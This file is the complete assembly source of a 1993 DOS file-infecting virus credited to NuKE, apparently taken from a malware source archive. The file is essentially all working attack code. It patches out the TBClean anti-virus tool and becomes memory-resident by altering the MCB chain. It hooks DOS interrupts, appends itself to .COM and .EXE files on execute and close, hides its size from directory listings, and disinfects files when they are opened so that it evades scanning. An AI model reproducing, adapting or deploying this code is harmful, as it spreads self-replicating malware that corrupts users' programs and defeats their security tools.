MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.angela.asm

842 lines
44 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
;===============================================================================
;
; (c) 1993 by NuKE Computer Security Publications, Inc.
; Developed by Rock Steady of NuKE Inc.
;
; <ANGELA.ASM>
;
virus_size equ last - init_virus ;virus size (bytes)
seg_a segment byte public
assume cs:seg_a,ds:seg_a
org 100h ;compile to .com
start: jmp init_virus
;-------------------------------------------------------------------------------
init_virus: call doit_now ;begin virus
doit_now: pop bp ;pop call offset
sub bp,offset doit_now ;fix it with pointer
push ax
push bx ;save the registers
push cx
push dx
push si
push ds
mov byte ptr cs:[tb_here][bp],00h
xor dx,dx ;dx=0
mov ds,dx ;ds=0
mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
; int 1h
mov ds,ax ;ds=segment of int 1
mov cx,0FFFFh ;cx=64k
mov si,dx ;si=0
look_4_tbclean: cmp word ptr ds:[si],0A5F3h ;look TBClean in memory
je check_it ;jmp if its TBClean
look_again: inc si ;if not continue looking
loop look_4_tbclean
jmp not_found ;not found cont normal
check_it: cmp word ptr ds:[si+2],0C7FAh ;check TBClean string
jne look_again ;jmp =! tbclean
cmp word ptr ds:[si+4],0006h ;check TBClean string
jne look_again ;jmp =! tbclean
cmp word ptr ds:[si+10],020Eh ;check TBClean string
jne look_again ;jmp =! tbclean
cmp word ptr ds:[si+12],0C700h ;check TBClean string
jne look_again ;jmp =! tbclean
cmp word ptr ds:[si+14],0406h ;check TBClean string
jne look_again ;jmp =! tbclean
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
mov byte ptr ds:[bx],0CFh ;replace with IRET
mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
mov byte ptr ds:[bx],0CFh ;replece with IRET
mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
mov word ptr cs:[tb_int2][bp],bx ;vector table
mov bx,word ptr ds:[si-5] ;get offset of 1st copy
mov word ptr cs:[tb_ints][bp],bx ;of vector table
not_found: xor dx,dx
push ds
mov ds,dx ;put that in ds
les si,dword ptr ds:[0084h] ;get int21 vector
mov word ptr cs:[int21][bp],si ;save int21 offset
mov word ptr cs:[int21+2][bp],es ;save int21 segment
les si,dword ptr ds:[0070h] ;get int1c vector
mov word ptr cs:[int1c][bp],si ;save int1c offset
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
les si,dword ptr ds:[004ch] ;get int13 vector
mov word ptr cs:[int13][bp],si ;save int13 offset
mov word ptr cs:[int13+2][bp],es ;save int13 segment
pop ds
mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
mov ax,0abcdh ;test if virus is here?
int 13h
cmp bx,0abcdh ;is it?
jne install_virus ;jmp, if not & install
leave_mcb: jmp exit_mem ;yes, leave then
;--------- Going Resident ------
steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
cmp al,0ffh ;memory from it!
je leave_mcb ;error? exit then
inc byte ptr cs:[mcb][bp] ;inc flag
cmp al,01 ;
ja mcb3_1
install_virus: mov ah,52h ;get the list of lists
int 21h ;use dos
mov ax,es:[bx-2] ;get first mcb chain
mov es,ax ;es=segment of 1st mcb
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
jne mcb2 ;jmp if not
clc ;yes last mcb, CLC
jmp short mcbx ;outta here
mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
je mcb3 ;jmp if yes
stc ;error, set carry flag
jmp short mcbx ;outta here
mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
je mcb3_1 ;if yes, then jmp
mov dx,ds ;else cmp TB ds
sub dx,10h ;ds-10
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
je mcbx_1
mcb3_1: mov ax,es ;ax=es
add ax,word ptr es:[0003h] ;ax=es + next mcb
inc ax ;get mcb
mov es,ax ;es=ax:next mcb chain
jmp short mcb1 ;goto first step
mcbx: jc leave_mcb ;if error, exit
mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
jb steal_some
mov byte ptr es:[0000],'Z' ;the last mcb chain!
sub word ptr es:[0003],(virus_size/16) + 11h
add ax,word ptr es:[0003h] ;figure out segment
inc ax ;add 16 bytes
mov es,ax ;new segment in es
mov di,103h ;offset is 103h
push ds ;save TB ds location
push cs
pop ds ;virus cs=ds
mov si,offset init_virus ;si=top of virus
add si,bp ;add delta
mov cx,virus_size ;move virus_size
cld ;clear direction flag
repne movsb ;do it Mr. Crunge
mov ds,cx ;ds=0000
hook_again: cli ;disable ints
mov word ptr ds:[0084h],offset int21_handler ;hook int21
mov word ptr ds:[0086h],es
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
mov word ptr ds:[0072h],es
mov word ptr ds:[004ch],offset int13_handler ;hook int13
mov word ptr ds:[004eh],es
sti ;enable ints
cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
je go_on ;no, then jmp
cmp cl,01h ;is this the 2nd x here?
je go_on ;yes, then jmp
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
inc cl ;inc cl
jmp short hook_again ;hook ints again
go_on: pop ds ;get TB code segment
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
je hook_tb_ints ;yes, then jmp
jmp exit_mem ;else exit
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
mov word ptr ds:[si+84h],offset int21_handler
mov word ptr ds:[si+86h],es
mov word ptr ds:[si+70h],offset int1c_handler
mov word ptr ds:[si+72h],es
mov word ptr ds:[si+4ch],offset int13_handler
mov word ptr ds:[si+4eh],es
exit_mem: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
je exit_exe_file ;yupe exit exe file
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
je exit_exe_file ;yupe exit exe file
push cs ;fix cs=ds for .com
pop ds
mov bx,offset buffer ;get first 3 bytes
add bx,bp ;fix delta
mov ax,[bx] ;move first 2 bytes
mov word ptr ds:[100h],ax ;put em in the beginning
inc bx ;inc pointer
inc bx
mov al,[bx] ;get last of 3rd byte
mov byte ptr ds:[102h],al ;put that in place
pop ds
pop si
pop dx
pop cx
pop bx
pop word ptr cs:[ax_reg][bp] ;save ax else where
mov ax,100h
push ax ;fake a CALL & RETN
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
retn ;link to 100h
exit_exe_file: mov dx,ds ;get psp=ds seg
add dx,10h ;add 16bytes to seg
pop ds
pop si
pop word ptr cs:[ax_reg][bp]
pop cx
pop bx
pop ax
add word ptr cs:[buffer+22][bp],dx ;fix segments
add dx,word ptr cs:[buffer+14][bp]
cli
mov ss,dx ;restore ss
mov sp,word ptr cs:[buffer+16][bp] ;and sp
sti
mov dx,word ptr cs:[ax_reg][bp]
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
mcb db 0
ax_reg dd 0
int13 dd 0
int1c dd 0
int21 dd 0
tb_ints dd 0
tb_here db 0
tb_int2 dd 0
;===============================================================================
; Int 13h Handler
;===============================================================================
int13_handler:
cmp ax,0abcdh ;virus test
je int13_test ;yupe
int13call: jmp dword ptr cs:[int13] ;original int13
int13_test: mov bx,ax ;fix
iret
;===============================================================================
; Int 1Ch Handler
;===============================================================================
int1c_handler:
iret
;-------------------------------------------------------------------------------
; FCB Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
fcb_dir: call calldos21 ;get the fcb block
test al,al ;test for error
jnz fcb_out ;jmp if error
push ax ;save registers
push bx
push cx
push es
mov ah,51h ;get current psp
call calldos21 ;call int21
mov es,bx ;es=segment of psp
cmp bx,es:[16h] ;psp of command.com?
jnz fcb_out1 ;no, then jmp
mov bx,dx ;ds:bx=fcb
mov al,[bx] ;1st byte of fcb
push ax ;save it
mov ah,2fh ;get dta
call calldos21 ;es:bx <- dta
pop ax ;get first byte
inc al ;al=ffh therefor al=ZR
jnz fcb_old ;if != ZR jmp
add bx,7h ;extended fcb here, +7
fcb_old: mov ax,es:[bx+17h] ;get file time stamp
mov cx,es:[bx+19h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal?
jnz fcb_out1 ;nope, exit then
sub word ptr es:[bx+1dh],virus_size ;sub away virus_size
sbb word ptr es:[bx+1fh],0 ;sub with carry flag
fcb_out1: pop es ;restore registers
pop cx
pop bx
pop ax
fcb_out: iret ;return control
;-------------------------------------------------------------------------------
; ASCIIZ Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
dta_dir: call calldos21 ;get results to dta
jb dta_out ;if error, split
push ax ;save register
push bx
push cx
push es
mov ah,2fh ;get current dta
call calldos21 ;es:bx <- dta
mov ax,es:[bx+16h] ;get file time stamp
mov cx,es:[bx+18h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal
jnz dta_out1 ;nope, exit then
sub word ptr es:[bx+1ah],virus_size ;sub away virus_size
sbb word ptr es:[bx+1ch],0 ;sub with carry flag
dta_out1: pop es ;restore registers
pop cx
pop bx
pop ax
dta_out: retf 0002h ;pop 2 words of stack
;===============================================================================
; Int 21h Handler
;===============================================================================
int21_handler:
; cmp ah,11h ;FCB find first match
; je old_dir
; cmp ah,12h ;FCB find next match
; je old_dir
cmp ah,4eh ;Find first match
je new_dir
cmp ah,4fh ;Find next match
je new_dir
cmp ah,3dh ;Opening a file
je file_open
cmp ah,6ch ;Ext_opening a file
je file_ext_open
cmp ah,3eh ;closing a file
je file_close
cmp ah,4bh ;Execution of a file
je file_execute
int21call: jmp dword ptr cs:[int21] ;original int21
old_dir: jmp fcb_dir ;fcb file find
new_dir: jmp dta_dir ;new asciiz file find
file_open: jmp open_file ;disinfect opening file
file_ext_open: jmp open_ext_file ;disinfect opening file
file_close: jmp close_file ;infect closing file
file_execute: call check_extension ;check for ok ext
cmp byte ptr cs:[com_ext],1 ;is it a com?
je exec_disinfect ;yupe disinfect it
cmp byte ptr cs:[exe_ext],1 ;is it a exe?
je exec_disinfect ;yupe disinfect it
jmp SHORT int21call
exec_disinfect: call exec_disinfect1 ;Disinfect file
mov word ptr cs:[ax_reg],dx
pushf ;fake an int
call dword ptr cs:[int21] ;call dos
xchg word ptr cs:[ax_reg],dx ;restore dx
mov byte ptr cs:[close],0 ;reset flag..
push ax ;store 'em
push bx
push cx
push dx
push si
push di
push es
push ds
closing_infect: mov ax,3524h ;get error handler
call calldos21 ;call dos
push es ;save es:bx= int_24
push bx ;error handler
push ds ;ds:dx= asciiz string
push dx
push cs ;cs=ds
pop ds
mov dx,offset int21_handler ;hook error handler
mov ax,2524h ;with our int24h
call calldos21
pop dx ;restore ds:dx asciiz
pop ds ;string
cmp byte ptr cs:[close],0 ;Are we closing file?
je exec_get_att ;nope, then jmp
mov ax,word ptr cs:[handle] ;yupe, ax=file handle
jmp exec_open_ok ;jmp so you don't open
;the file twice...
exec_get_att: mov ax,4300h ;get file attribs
call calldos21 ;call dos
jnc exec_attrib ;no, error jmp
jmp exec_exit2 ;ERROR - split
exec_attrib: mov byte ptr cs:[attrib],cl
test cl,1 ;check bit 0 (read_only)
jz exec_attrib_ok ;if bit0=0 jmp
dec cx ;else turn of bit_0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
exec_attrib_ok: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc exec_open_ok ;ok, no error jmp
jmp exec_exit2 ;ERROR - split
exec_open_ok: xchg bx,ax ;bx=file handler
push cs ;cs=ds
pop ds
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[org_time],cx
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz exec_time_ok ;nope, file not infected
jmp exec_exit3 ;FILE INFECTED
exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits
or word ptr cs:[old_time],dx ;seconds=day of month
mov ax,4200h ;reset ptr to beginning
xor cx,cx ;(as opened files may
xor dx,dx ; have ptr anywhere,
call calldos21 ; so be smart!)
mov word ptr cs:[marker],0DBDBh ;File Infection marker
mov dx,offset ds:[buffer] ;ds:dx buffer
mov cx,18h ;read 18h bytes
mov ah,3fh ;read from handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes jmp
sub cx,ax ;did we read 18h bytes?
jnz exec_exit1 ;if no exit
mov dx,cx ;cx=0 dx=0
mov ax,4202h ;jmp to EOF
call calldos21 ;call dos
jc exec_exit1 ;error? exit if so.
mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz
mov word ptr cs:[filesize],dx ;save upper 16bit fileSz
call chkbuf ;check if .exe
jz exec_cool ;jmp if .exe file
cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k?
jb exec_cool ;if less jmp!
exec_exit1: jmp exec_exit3 ;exit!
;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
; Mutate and infect
;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning
mov cx,virus_size ;cx=virus size
mov ah,40h ;write to handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes exit
sub cx,ax ;cx=ax bytes?
jnz exec_exit1 ;not equal exit
mov dx,cx ;cx=0 dx=0
mov ax,4200h ;jmp to top of file
call calldos21 ;call dos
jc exec_exit1 ;error, then exit
mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize
call chkbuf ;check if .exe
jnz exec_com_file ;if !=.exe jmp
mov dx,word ptr cs:[filesize] ;get upper 16bit
mov cx,4 ;cx=0004
mov si,word ptr cs:[buffer+8] ;get exe header size
shl si,cl ;mul by 16
sub ax,si ;exe_header - filesize
sbb dx,0h ;sub with carry
mov cx,10h ;cx=0010
div cx ;ax=length in para
;dx=remaider
mov word ptr cs:[buffer+20],dx ;New IP offset address
mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs)
add dx,virus_size+100h ;Dx=virus_size+256
mov word ptr cs:[buffer+16],dx ;New SP entry
mov word ptr cs:[buffer+14],ax ;New SS (in para)
add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para
mov ax,word ptr cs:[buffer+10] ;ax=min para needed
cmp ax,word ptr cs:[buffer+12] ;cmp with max para
jb exec_size_ok ;jmp if ok!
mov word ptr cs:[buffer+12],ax ;nop, enter new max
exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size
add ax,virus_size ;add virus to it
push ax ;push it
and ah,1 ;
mov word ptr cs:[buffer+2],ax ;restore new value
pop ax ;pop ax
mov cl,9 ;
shr ax,cl ;
add word ptr cs:[buffer+4],ax ;enter fileSz + header
mov dx,offset buffer ;ds:dx=new exe header
mov cx,18h ;cx=18h bytes to write
jmp SHORT exec_write_it ;jmp...
exec_com_file: sub ax,3 ;sub 3 for jmp address
mov word ptr cs:[buffer+1],ax ;store new jmp value
mov byte ptr cs:[buffer],0E9h ;E9h=JMP
mov dx,offset buffer ;ds:dx=buffer
mov cx,3 ;cx=3 bytes
exec_write_it: mov ah,40h ;write to file handle
call calldos21 ;call dos
mov dx,word ptr cs:[old_date] ;restore old date
mov cx,word ptr cs:[old_time] ;restore old time
mov ax,5701h ;write back to file
call calldos21 ;call dos
exec_exit3: mov ah,3eh ;close file
call calldos21 ;call dos
exec_exit2: pop dx ;restore es:bx (the
pop ds ;original int_24)
mov ax,2524h ;put back to place
call calldos21 ;call dos
pop ds
pop es
pop di ;pop registers
pop si
pop dx
xor cx,cx
mov cl,byte ptr cs:[attrib] ;get old file attrib
mov ax,4301h ;put them back
call calldos21 ;call dos
pop cx
pop bx
pop ax
cmp byte ptr cs:[close],0 ;get called by exec?
je exec_good_bye ;yep, then jmp
iret ;else exit now.
exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx
iret ;iret
;-------------------------------------------------------------------------------
; Close File Int21h/ah=3Eh
;-------------------------------------------------------------------------------
close_file: cmp bx,4h ;file handler > 4?
ja close_cont ;jmp if above
jmp int21call ;else exit
close_cont: push ax ;save 'em
push bx
push cx
push dx
push si
push di
push es
push ds
push bx ;save file handler
mov ax,1220h ;get job file table!
int 2fh ;call multiplex
;es:di=JFT for handler
mov ax,1216h ;get system file table
mov bl,es:[di] ;bl=SFT entry
int 2fh ;call multiplex
pop bx ;save file handler
add di,0011h
mov byte ptr es:[di-0fh],02h ;set to read/write
add di,0017h
cmp word ptr es:[di],'OC' ;check for .COM file
jne closing_next_try ;no try next ext
cmp byte ptr es:[di+2h],'M' ;check last letter
je closing_cunt3 ;no, file no good, exit
closing_exit: jmp closing_nogood ;exit
closing_next_try:
cmp word ptr es:[di],'XE' ;check for .EXE file
jne closing_exit ;no, exit
cmp byte ptr es:[di+2h],'E' ;check last letter
jne closing_exit ;no, exit
closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag
mov word ptr cs:[handle],bx ;save handler
jmp closing_infect ;infect file!
closing_nogood: pop ds ;restore 'em
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp int21call ;good bye, baby...
;-------------------------------------------------------------------------------
; Execute Disinfecting routine
;-------------------------------------------------------------------------------
exec_disinfect1 PROC
push ax ;save registers
push bx
push cx
push dx
push ds
mov ax,4300h ;get file attribs
call calldos21 ;call dos
test cl,1h ;is Read-only flag?
jz okay_dis ;no, jmp attribs ok
dec cx ;turn off bit 0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
jnc okay_dis ;No error? then jmp
jmp end_dis ;error? exit!
okay_dis: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc dis_fileopen ;No error? then jmp
jmp end_dis ;Error? exit!
dis_fileopen: xchg bx,ax ;bx=file handle
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz half_way ;nope, file not infected
mov ax,4202h ;jmp to EOF
xor cx,cx ;cx=0
xor dx,dx ;dx=0
call calldos21 ;call dos
push cs ;cs=ds
pop ds ;
mov cx,dx ;dx:ax=file size
mov dx,ax ;save to cx:dx
push cx ;save upper fileSz
push dx ;save lower fileSz
sub dx,1Ch ;filesize-1C=origin byte
sbb cx,0 ;sub with carry
mov ax,4200h ;position ptr
call calldos21 ;call dos
mov ah,3fh ;open file
mov cx,1Ch ;read last 1Ch bytes
mov dx,offset org_time ;put in ds:dx
call calldos21 ;call dos
call chkbuf ;Did it work?
je half ;Yes,Jmp
cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected?
je half ;Yes, then jmp
pop dx
pop cx
half_way: jmp end_dis1 ;exit, error!
half: xor cx,cx ;cx=0
xor dx,dx ;dx=0
mov ax,4200h ;pointer to top of file
call calldos21 ;call dos
mov ah,40h ;write function
mov dx,offset buffer ;ds:dx=buffer
mov cx,18h ;cx=18h bytes to write
call chkbuf ;check if .exe?
jz SHORT dis_exe_jmp ;yupe, jmp
mov cx,3h ;else write 3 bytes
dis_exe_jmp: call calldos21 ;call dos
pop dx ;pop original fileSz
pop cx
sub dx,virus_size ;Sub with virus_size
sbb cx,0 ;sub with carry
mov ax,4200h ;ptr top of virus
call calldos21 ;call dos
mov ah,40h ;write function
xor cx,cx ;write 0 bytes
call calldos21 ;call dos! (new EOF)
mov cx,word ptr ds:[org_time] ;get original time
mov dx,word ptr ds:[old_date] ;get original date
mov ax,5701h ;put back to file
call calldos21 ;call dos
end_dis1: mov ah,3eh ;close file handle
call calldos21 ;call dos
end_dis: pop ds ;restore values
pop dx
pop cx
pop bx
pop ax
ret
exec_disinfect1 ENDP
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=6ch
;-------------------------------------------------------------------------------
open_ext_file: push dx ;save DX
mov dx,si ;asciiz=DS:DX now
jmp open_ext ;jmp
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=3Dh
;-------------------------------------------------------------------------------
open_file: push dx ;save dx (asciiz)
open_ext: call check_extension ;check extension
cmp byte ptr cs:[com_ext],1 ;is it a .com?
je open_ok_ext ;yep, then jmp
cmp byte ptr cs:[exe_ext],1 ;is it a .exe?
je open_ok_ext ;yep, them jmp
jmp open_exit ;ext no good, exit!
open_ok_ext: call exec_disinfect1 ;disinfect file!
open_exit: pop dx ;restore dx
jmp int21call ;exit to dos...
;-------------------------------------------------------------------------------
; Checks Buffer (EXE) Header
;-------------------------------------------------------------------------------
chkbuf PROC
push si ;save register
mov si,word ptr cs:[buffer] ;get first word
cmp si,5A4Dh ;si=ZM?
je chkbuf_ok ;if yes exit
cmp si,4D5Ah ;si=MZ?
chkbuf_ok: pop si ;pop register
ret
chkbuf ENDP
;-------------------------------------------------------------------------------
; Check file Extension
;-------------------------------------------------------------------------------
check_extension PROC
pushf ;save flags
push cx ;save cx,si
push si
mov si,dx ;ds:[si]=asciiz
mov cx,128 ;scan 128 bytes max
mov byte ptr cs:[com_ext],0 ;reset .com flag
mov byte ptr cs:[exe_ext],0 ;reset .exe flag
check_ext: cmp byte ptr ds:[si],2Eh ;scan for "."
je check_ext1 ;jmp if found
inc si ;else inc and loop
loop check_ext ;loop me
check_ext1: inc si ;inc asciiz ptr
cmp word ptr ds:[si],'OC' ;is it .COM
jne check_ext2 ; ~~
cmp byte ptr ds:[si+2],'M' ;is it .COM
je com_file_ext ; ~
check_ext2: cmp word ptr ds:[si],'oc' ;is it .com
jne check_ext3 ; ~~
cmp byte ptr ds:[si+2],'m' ;is it .com
je com_file_ext ; ~
check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE
jne check_ext4 ; ~~
cmp byte ptr ds:[si+2],'E' ;is it .EXE
je exe_file_ext ; ~
check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe
jne check_ext_exit ; ~~
cmp byte ptr ds:[si+2],'e' ;is it .exe
je exe_file_ext ; ~
jmp check_ext_exit ;neither exit
com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file
jmp SHORT check_ext_exit ;jmp short
exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file
check_ext_exit: pop si ;restore
pop cx
popf ;save flags
ret
com_ext db 0 ;flag on=.com file
exe_ext db 0 ;flag on=.exe file
check_extension ENDP
;-------------------------------------------------------------------------------
; Original Int21h
;-------------------------------------------------------------------------------
calldos21 PROC
pushf ;fake int call
call dword ptr cs:[int21] ;call original int_21
ret
calldos21 ENDP
;===============================================================================
; Int 24h Handler
;===============================================================================
int24_handler:
mov al,3 ;don't report error...
iret ;later dude...
;-------------------------------------------------------------------------------
; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
close db 0 ;closing file
;-------------------------------------------------------------------------------
; END - END - END - END - END - END - END
rand_val dw 0
flags dw 0 ;Flags are saved here
attrib db 0 ;file's attrib
filesize dd 0 ;filesize
handle dw 0 ;file handler
old_date dw 0 ;file date
old_time dw 0 ;file time
;-------------------------------------------------------------------------------
org_time dw 0 ;original file time
;-------------------------------------------------------------------------------
buffer db 0CDh,020h ; 0 (0) EXE file signature
db 090h,090h ; 2 (2) Length of file
db 090h,090h ; 4 (4) Size of file + header (512k)
db 090h,090h ; 6 (6) # of relocation items
db 090h,090h ; 8 (8) Size of header (16byte para)
db 090h,090h ; A (10) Min para needed (16byte)
db 090h,090h ; C (12) Max para needed (16byte)
db 090h,090h ; E (14) SS reg from start in para.
db 090h,090h ; 10(16) SP reg at entry
db 090h,090h ; 12(18) checksum
db 090h,090h ; 14(20) IP reg at entry
db 090h,090h ; 16(22) CS reg from start in para.
Marker db 0DBh,0DBh ; Marks THIS File as INFECTED!
last:
seg_a ends
end start